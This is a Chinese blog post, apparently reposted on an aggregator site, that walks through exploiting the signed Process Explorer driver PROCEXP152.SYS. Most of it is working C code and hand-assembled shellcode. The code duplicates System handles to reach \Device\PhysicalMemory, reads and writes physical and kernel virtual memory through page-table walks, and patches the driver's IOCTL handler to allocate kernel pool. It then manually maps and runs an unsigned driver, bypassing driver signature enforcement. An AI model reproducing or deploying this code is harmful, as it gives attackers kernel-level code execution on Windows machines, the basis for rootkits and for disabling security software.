ProcExp的利用
背景
事件的起因是這篇blog,簡單來說就是ark工具能夠打開和復制system的句柄,其中\Device\PhysicalMemory的句柄可以映射到當前進程,從而直接操作物理地址。
利用
去msdn下載一個最新的PROCEXP,找到它的驅動文件PROCEXP152.SYS,我這里的版本如下:
?丟進ida(簡單分析一下),找到可以利用的系統調用號,該ioctl的目的是復制句柄到當前進程。
?簡單看一下查找的代碼,很簡單,復制system的所有句柄,查找句柄名為\Device\PhysicalMemory的句柄。
ULONG64 openProcess(ULONG64 pid) {ULONG64 lPid = pid;ULONG64 handle = 0;ULONG ioctl = 0x3c - 0x7CCB0000;sendData(ioctl, &pid, sizeof(ULONG64), &handle, sizeof(ULONG64));return handle; }ULONG64 ZwDuplicateObject(ULONG64 handleValue) {char inData[0x20] = { 0 };*(ULONG64*)inData = 4;*(ULONG64*)(inData + 0x18) = handleValue;ULONG64 duplicateHandle = 0;ULONG ioctl = 0x14 - 0x7CCB0000;sendData(ioctl, inData, 0x20, &duplicateHandle, sizeof(ULONG64));return duplicateHandle; }ULONG64 getPhysicalMemoryHandle(ULONG64 systemHandle) {ULONG64 MemoryHandle = NULL;if (!initFunc()){printf("init func failed! \n");return NULL;}PSYSTEM_HANDLE_INFORMATION_EX shInfo = NULL;if (PhEnumHandlesEx(&shInfo) != STATUS_SUCCESS)return NULL;for (ULONG i = 0; i < shInfo->NumberOfHandles; ++i){if (shInfo->Handles[i].UniqueProcessId != 4)continue;//printf("shInfo->Handles[i].HandleValue 0x%x\n", shInfo->Handles[i].HandleValue);//雖然procexp中提供了查詢hanadleTypeName的方法,但是pid要大于8,且procexp中沒有提供objectname的函數,所以這里把所有句柄直接復制過來ULONG64 dupHandle = ZwDuplicateObject(shInfo->Handles[i].HandleValue);//使用下面的r3的方式部分句柄獲取為0,目標\Device\PhysicalMemory也是0//ULONG64 dupHandle = NULL;//DuplicateHandle((HANDLE)systemHandle, (HANDLE)shInfo->Handles[i].HandleValue,GetCurrentProcess(),(LPHANDLE)&dupHandle,0x10000000,false,DUPLICATE_SAME_ACCESS);//printf("copyHandle 0x%llx\n", dupHandle);if (dupHandle){//我比較懶只拿句柄名char BufferForObjectName[1024] = { 0 };//獲取句柄名,r3訪問可能會卡死 https://blog.csdn.net/qq_18218335/article/details/78155282NTSTATUS status = NtQueryObject((HANDLE)dupHandle, ObjectNameInformation, BufferForObjectName, sizeof(BufferForObjectName), NULL);if (NT_SUCCESS(status)){POBJECT_NAME_INFORMATION ObjectName = (POBJECT_NAME_INFORMATION)BufferForObjectName;//printf("ObjectName->NameBuffer %S len %d \n", ObjectName->Name.Buffer, ObjectName->Name.Length);if (ObjectName->Name.Length == wcslen(L"\\Device\\PhysicalMemory")*2 && memcmp((wchar_t*)ObjectName->Name.Buffer, L"\\Device\\PhysicalMemory",ObjectName->Name.Length) == 0){MemoryHandle = dupHandle;break;}}}}VirtualFree(shInfo, 0, MEM_RELEASE);return MemoryHandle; }?找到之后就可以將物理內存映射到進程的進程空間進行操作,讀寫物理地址的代碼如下,也比較容易理解,就是需要注意寫入的數據存在跨頁的情況:
NTSTATUS ReadWritePhysMem(HANDLE hPhysMem, ULONG64 addr, size_t size, void* inOutBuf, bool read = true) {PVOID ptrBaseMemMapped = NULL;SECTION_INHERIT inheritDisposition = ViewShare;NTSTATUS status = STATUS_SUCCESS;LARGE_INTEGER sectionOffset;// Mapping pageSYSTEM_INFO sysInfo;GetSystemInfo(&sysInfo);const ULONG64 offsetRead = addr % sysInfo.dwPageSize;const ULONG64 addrBasePage = addr - offsetRead;sectionOffset.QuadPart = addrBasePage;// Making sure that the info to read doesn't span on 2 different pagesconst ULONG64 addrEndOfReading = addr + size;const ULONG64 offsetEndOfRead = addrEndOfReading % sysInfo.dwPageSize;const ULONG64 addrBasePageEndOfReading = addrEndOfReading - offsetEndOfRead;size_t sizeToMap = sysInfo.dwPageSize;if (addrBasePageEndOfReading != addrBasePage)sizeToMap *= 2;// We cannot simply use a MapViewOfFile, since it does checks that prevents us from reading kernel memory, so we use NtMapViewOfSection.status = NtMapViewOfSection(hPhysMem, GetCurrentProcess(), &ptrBaseMemMapped, NULL, NULL, §ionOffset, (PSIZE_T)&sizeToMap, inheritDisposition, NULL, PAGE_READWRITE);if (status != STATUS_SUCCESS || !ptrBaseMemMapped)return status;// Copying the memory, unmapping, and returningconst ULONG64 localAddrToRead = (ULONG64)(ptrBaseMemMapped) + offsetRead;if (read)memcpy(inOutBuf, (void*)(localAddrToRead), size);elsememcpy((void*)(localAddrToRead), inOutBuf, size);UnmapViewOfFile(ptrBaseMemMapped);return status; }但是只操作物理地址沒什么用啊,難道直接搜索nt的特偵碼?這樣也是一種方法,但是不夠體面,這里找到了這個blog,簡單來說通過uefi啟動的系統,0x1000-0x100000的物理地址存了一個結構體PROCESSOR_START_BLOCK,而且都在頁的開頭。
其中?_KPROCESSOR_STATE中有system的cr3,而且根據觀察,win10的system的cr3是固定的0x1ad000(當然不建議直接使用,能搜出來為什么要寫死呢)
typedef struct _CONTEXT {ULONG ContextFlags;ULONG Dr0;ULONG Dr1;ULONG Dr2;ULONG Dr3;ULONG Dr6;ULONG Dr7;FLOATING_SAVE_AREA FloatSave;ULONG SegGs;ULONG SegFs;ULONG SegEs;ULONG SegDs;ULONG Edi;ULONG Esi;ULONG Ebx;ULONG Edx;ULONG Ecx;ULONG Eax;ULONG Ebp;ULONG Eip;ULONG SegCs;ULONG EFlags;ULONG Esp;ULONG SegSs;UCHAR ExtendedRegisters[512]; } CONTEXT, *PCONTEXT;typedef struct _KSPECIAL_REGISTERS {ULONG Cr0;ULONG Cr2;ULONG Cr3;ULONG Cr4;ULONG KernelDr0;ULONG KernelDr1;ULONG KernelDr2;ULONG KernelDr3;ULONG KernelDr6;ULONG KernelDr7;DESCRIPTOR Gdtr;DESCRIPTOR Idtr;WORD Tr;WORD Ldtr;ULONG Reserved[6]; } KSPECIAL_REGISTERS, *PKSPECIAL_REGISTERS;typedef struct _KPROCESSOR_STATE {CONTEXT ContextFrame;KSPECIAL_REGISTERS SpecialRegisters; } KPROCESSOR_STATE, *PKPROCESSOR_STATE;有了結構體搜索起cr3來就簡單了
ULONG64 GetPML4(ULONG64 pbLowStub1M) {ULONG offset = 0;ULONG64 PML4 = 0;//這里有個坑,注意x32和x64指針大小ULONG cr3_offset = 0xa0;//FIELD_OFFSET(PROCESSOR_START_BLOCK, ProcessorState) + FIELD_OFFSET(KSPECIAL_REGISTERS, Cr3);__try {while (offset < 0x100000) {offset += 0x1000;if (0x00000001000600E9 != (0xffffffffffff00ff & *(UINT64*)(pbLowStub1M + offset))) //PROCESSOR_START_BLOCK->Jmpcontinue;//編譯為0x32位的是6c 0x64的是70,這里我習慣編譯成x32,所以這里寫死0x70 FIELD_OFFSET(PROCESSOR_START_BLOCK, LmTarget)//printf("offset %x *(UINT64*)(pbLowStub1M + offset + 0x70) %llX\n", offset, *(UINT64*)(pbLowStub1M + offset + 0x70));if (0xfffff80000000000 != (0xfffff80000000003 & *(UINT64*)(pbLowStub1M + offset + 0x70)))continue;if (0xffffff0000000fff & *(UINT64*)(pbLowStub1M + offset + cr3_offset))continue;PML4 = *(UINT64*)(pbLowStub1M + offset + cr3_offset);break;}}__except (EXCEPTION_EXECUTE_HANDLER) {}return PML4; }有了cr3,那就可以通過分頁操作system映射的虛擬地址了,代碼如下
NTSTATUS ReadWriteVirtualAddressValue(ULONG64 cr3, HANDLE hPhysMem, ULONG64 virtualAddress, ULONG operateSize, PVOID Data, bool read) {/*ULONG64* pTmp = &virtualAddress;//https://bbs.pediy.com/thread-203391.htmPPAGEFORMAT pageFormat = (PPAGEFORMAT)pTmp;printf("pageFormat->offset %llx, pageFormat->pte %llx, pageFormat->pde %llx, pageFormat->ppe %llx, pageFormat->pxe %llx",pageFormat->offset, pageFormat->pte, pageFormat->pde, pageFormat->ppe, pageFormat->pxe);*/ULONG64* pTmpVirtualAddress = &virtualAddress;PPAGEFORMAT pageFormat = (PPAGEFORMAT)pTmpVirtualAddress;//pxe處理ULONG64 pxe = NULL;ReadPhysMem(hPhysMem, cr3 + 8 * pageFormat->pxe, 8, &pxe);if (!pxe)return STATUS_UNSUCCESSFUL;//printf("pxe 0x%llx \n", pxe);pxe &= 0xFFFFFFFFFF000;//去掉高12和低12位數//ppe處理ULONG64 ppe = NULL;ReadPhysMem(hPhysMem, pxe + 8 * pageFormat->ppe, 8, &ppe);if (!ppe)return STATUS_UNSUCCESSFUL;//printf("ppe 0x%llx \n", ppe);ppe &= 0xFFFFFFFFFF000;//去掉高12和低12位數if (ppe & 0x80)//1g大頁{//低30位清零ppe >>= 30;ppe <<= 30;//高34位清零virtualAddress <<= 34;virtualAddress >>= 34;if (read)return ReadPhysMem(hPhysMem, ppe + virtualAddress, operateSize, Data);elsereturn WritePhysMem(hPhysMem, ppe + virtualAddress, operateSize, Data);}//pde處理ULONG64 pde = NULL;ReadPhysMem(hPhysMem, ppe + 8 * pageFormat->pde, 8, &pde);if (!pde)return STATUS_UNSUCCESSFUL;//printf("pde 0x%llx \n", pde);pde &= 0xFFFFFFFFFF000;//去掉高12和低12位數if (pde & 0x80) //2m大頁{//低21位清零pde >>= 21;pde <<= 21;//高43位清零virtualAddress <<= 43;virtualAddress >>= 43;if (read)return ReadPhysMem(hPhysMem, pde + virtualAddress, operateSize, Data);elsereturn WritePhysMem(hPhysMem, pde + virtualAddress, operateSize, Data);}//pte處理ULONG64 pte = NULL;ReadPhysMem(hPhysMem, pde + 8 * pageFormat->pte, 8, &pte);if (!pte)return STATUS_UNSUCCESSFUL;//printf("pte 0x%llx \n", pte);pte &= 0xFFFFFFFFFF000;//去掉高12和低12位數if (read)return ReadPhysMem(hPhysMem, pte + pageFormat->offset, operateSize, Data);elsereturn WritePhysMem(hPhysMem, pte + pageFormat->offset, operateSize, Data);return STATUS_UNSUCCESSFUL; }現在能讀寫內核地址虛擬地址了,能不能做一個簡單的demo,這里是可以的,利用漏洞加載未簽名的驅動程序(這里我只修復了nt的導入表以及重定位,而且沒有傳入驅動對象,也就意味著不能指定unload和mj_control),這里抄襲了kdu的想法,hook驅動的ioctl調用函數。
思路
首先需要在內核申請一塊地址,然后把未簽名的驅動修復之后拷貝到內核中,啟動線程或者修改線程執行流程到驅動的入口函數。
這里需要解決的第一個問題就是,如何在內核申請內存,這里處理比較簡單,直接hook procexp的ioctl的調用函數,選了一個合適的調用號0x24
?寫入shellcode,控制參數申請和釋放內核內存
ULONG64 operateMemInit(HANDLE hPhysMem) {ULONG64 readData = 0;ULONG64 cr3 = GetCr3(hPhysMem);if (cr3){ULONG64 procexpBase = GetKernelBaseByName((char*)"PROCEXP152.SYS");if (procexpBase){printf("procexpBase %llX\n", procexpBase);//hook 0x24調用 這里函數0x30D0偏移寫死,有懶人,我不說是誰NTSTATUS status = ReadWriteVirtualAddressValue(cr3, hPhysMem, procexpBase + 0x30D0 + 8, 8, &readData, 1);if (NT_SUCCESS(status)){if (readData == 0x848d48f88b4948ec)//這里代表函數還沒有改{//這里寫shellCode,主要有三個函數,1->ExAllocatePool 2->ExFreePool 以及3->PsCreateSystemThread (*+﹏+*)~@ULONG64 ExAllocatePool = GetKernelFuncAddress((char *)"ExAllocatePool");// 0xfffff8076c75fdb0;ULONG64 ExFreePool = GetKernelFuncAddress((char *)"ExFreePool");// 0xfffff8076cdb3140;/*40 53 push rbx56 push rsi57 push rdi41 57 push r1548 83 EC 58 sub rsp, 58h //注意棧對齊movaps xmmword ptr [rbp-21h],xmm0 ss:0018:ffffa687`b2e21138//rcx = inBuf rdx = outBuf r8 = outLen48 8B C1 mov rax,rcx48 8B 00 mov rax,qword ptr ds:[rax]48 83 F8 01 cmp rax,174 10 je eip + 1848 83 F8 02 cmp rax,274 2A je eip + 4448 83 F8 03 cmp rax,3 //原本打算是PsCreateSystemThread,但直接hook函數更省事兒74 36 je eip + 56EB 34 jmp eip + 54// ExAllocatePool函數的調用90 nop90 nop48 B8 11 11 11 11 11 11 11 11 mov rax,ExAllocatePool + 40 48 8B D9 mov rbx,rcx B9 00 00 00 00 mov ecx,0 //NonPagedPool48 8B F2 mov rsi,rdx 48 8B 53 08 mov rdx,qword ptr ds:[rbx+8]//NumberOfBytesFF D0 call rax48 89 06 mov qword ptr ds:[rsi],rax//ExFreePool函數的調用EB 12 jmp eip + 20 48 B8 11 11 11 11 11 11 11 11 mov rax,ExFreePool + 7248 8B 49 08 mov rcx,qword ptr ds:[rcx+8]FF D0 call rax90 nop90 nop90 nop90 nop90 nop48 83 C4 58 add rsp, 58h41 5F pop r155F pop rdi5E pop rsi5B pop rbxC3 retn*///保存原始代碼。。。。省略UCHAR shellCode[] = { 0x40,0x53,0x56,0x57,0x41,0x57,0x48,0x83,0xEC,0x58,//這里是處理邏輯的opCobde0x48,0x8B,0xC1,0x48,0x8B,0x00,0x48,0x83,0xF8,0x01,0x74,0x10,0x48,0x83,0xF8,0x02,0x74,0x2A,0x48,0x83,0xF8,0x03,0x74,0x36,0xEB,0x34,0x90,0x90,//這里處理函數一0x48,0xB8,0x11,0x11,0x11,0x11,0x11,0x11,0x11,0x11,0x48,0x8B,0xD9,0xB9,0x00,0x00,0x00,0x00,0x48,0x8B,0xF2,0x48,0x8B,0x53,0x08,0xFF,0xD0,0x48,0x89,0x06,0xEB,0x12,//這里處理函數二0x48,0xB8,0x11,0x11,0x11,0x11,0x11,0x11,0x11,0x11,0x48,0x8B,0x49,0x08,0xFF,0xD0,0x90,0x90,0x90,0x90,0x90,//結束0x48,0x83,0xC4,0x58,0x41,0x5F,0x5F,0x5E,0x5B,0xC3 };//拷貝函數memcpy(shellCode + 40, &ExAllocatePool, 8);memcpy(shellCode + 72, &ExFreePool, 8);status = ReadWriteVirtualAddressValue(cr3, hPhysMem, procexpBase + 0x30D0, sizeof(shellCode), shellCode, 0);if (NT_SUCCESS(status)){//__(1,0);printf("write shellcode func successful!!\n");return cr3;}}}else{printf("invalid address\n");}}}return cr3; }很簡單,傳入1代表申請內存,2是釋放,其他是不操作。
最后就是修復iat和重定位,在跳轉到oep就能保證驅動的執行了,當然可能比較復雜的驅動會有問題,但這只能結合你自己的驅動自己去調,我寫的demo很簡單,加載也不會有問題。
//這里只修復nt的導入函數和重定位,能修但是只能修一點點 NTSTATUS LoadDriver(HANDLE hPhysMem,ULONG64 cr3,WCHAR* path) {UNICODE_STRING ustr;WCHAR sysPath[MAX_PATH * 2];ULONG64 sysBase = NULL;wcscpy_s(sysPath, path);RtlInitUnicodeString(&ustr, sysPath);NTSTATUS ntStatus = LdrLoadDll(NULL, NULL, &ustr, (PVOID*)& sysBase);if (NT_SUCCESS(ntStatus)){//printf("sysBase %llX \n", sysBase);PIMAGE_DOS_HEADER ImageDosHeader = (PIMAGE_DOS_HEADER)sysBase;if (ImageDosHeader->e_magic != IMAGE_DOS_SIGNATURE){return STATUS_UNSUCCESSFUL;}PIMAGE_NT_HEADERS64 pImageNtHeaders64 = (PIMAGE_NT_HEADERS64)((PUCHAR)sysBase + ImageDosHeader->e_lfanew);PIMAGE_IMPORT_DESCRIPTOR pImportHeader = (PIMAGE_IMPORT_DESCRIPTOR)((PUCHAR)sysBase + pImageNtHeaders64->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);while (pImportHeader->Name && pImportHeader->Characteristics){PCHAR name = (PCHAR)sysBase + pImportHeader->Name;PIMAGE_THUNK_DATA64 pImageThunkData = (PIMAGE_THUNK_DATA64)(pImportHeader->FirstThunk + (PUCHAR)sysBase);if (memcmp("ntoskrnl.exe", name, strlen("ntoskrnl.exe")) == 0)//只處理nt{while (pImageThunkData->u1.AddressOfData){if ((pImageThunkData->u1.Ordinal & IMAGE_ORDINAL_FLAG64) == 0){PIMAGE_IMPORT_BY_NAME pImageImportName = (PIMAGE_IMPORT_BY_NAME)(pImageThunkData->u1.AddressOfData + (PUCHAR)sysBase);ULONG64 func = GetKernelFuncAddress(pImageImportName->Name);if (func)VirtualProtectCopy(&pImageThunkData->u1.Function, func, 8);printf("name %s address %llx \n", pImageImportName->Name, pImageThunkData->u1.Function);}pImageThunkData++;}break;}pImportHeader++;}ULONG imgSize = pImageNtHeaders64->OptionalHeader.SizeOfImage;ULONG64 allocateAddress = __(1, imgSize);if (allocateAddress){ULONG64 baseAddressoffest = ((ULONG64)allocateAddress) - (pImageNtHeaders64->OptionalHeader.ImageBase);PIMAGE_BASE_RELOCATION pRelocation = (PIMAGE_BASE_RELOCATION)((PUCHAR)sysBase + pImageNtHeaders64->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);while (pRelocation->SizeOfBlock && pRelocation->VirtualAddress){ULONG iTypeOffsetCount = (ULONG)(pRelocation->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / 2;for (ULONG i = 0; i < iTypeOffsetCount; i++){USHORT TypeOffsetInfo = *(USHORT*)((PUCHAR)pRelocation + sizeof(IMAGE_BASE_RELOCATION) + i * sizeof(USHORT));USHORT TypeOffsetFlag = (TypeOffsetInfo >> 12) & 0x000F;if (IMAGE_REL_BASED_HIGHLOW == TypeOffsetFlag || TypeOffsetFlag == IMAGE_REL_BASED_DIR64){ULONG64 relocationAddress = (ULONG64)sysBase + pRelocation->VirtualAddress + (TypeOffsetInfo & 0x0FFF);//*(PULONG64)relocationAddress += baseAddressoffest;VirtualProtectCopy((ULONG64*)relocationAddress, *(PULONG64)relocationAddress + baseAddressoffest, 8);}}pRelocation = (PIMAGE_BASE_RELOCATION)((ULONG64)pRelocation + pRelocation->SizeOfBlock);}printf("sysbase %llX allocateAddress %llX size %X \n", sysBase, allocateAddress, imgSize);//把數據拷貝過去for (ULONG i = 0; i < imgSize; i += 0x1000){__try{printf("%llX \n", sysBase + i);//這里是不可以省略的,因為拷貝的時候r3的所有內存不是全部映射了,這是一種偷懶的做法,有些人真是懶死了ReadWriteVirtualAddressValue(cr3, hPhysMem, allocateAddress + i, 0x1000, (PVOID)(sysBase + i), 0);}__except(EXCEPTION_EXECUTE_HANDLER) {}}//printf("write successful!! allocateAddress is %llx \n", allocateAddress);//然后找一個hook點jmp過去ULONG64 oep = pImageNtHeaders64->OptionalHeader.AddressOfEntryPoint + allocateAddress;ULONG64 procexpBase = GetKernelBaseByName((char*)"PROCEXP152.SYS");if (procexpBase){/*48 B8 11 11 11 11 11 11 11 11 mov rax,1111111111111111FF E0 jmp rax*/UCHAR shellCode[] = { 0x48,0xB8,0x11,0x11,0x11,0x11,0x11,0x11,0x11,0x11,0xFF,0xE0 };memcpy(shellCode + 2, &oep, 8);NTSTATUS status = ReadWriteVirtualAddressValue(cr3, hPhysMem, procexpBase + 0x1A20, sizeof(shellCode), shellCode, 0);{printf("write oep success %llX \n", oep);system("pause");//觸發jmp oep ==>需要注意的是,由于沒有初始化pdriverobject,所以驅動里面不要寫unload函數___();}}system("pause");__(2, allocateAddress);//釋放}}return STATUS_SUCCESS; }總結
以上是生活随笔為你收集整理的ProcExp的利用的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 小米 admob广告 ID_3月产品更新
- 下一篇: C#实现文件下载代码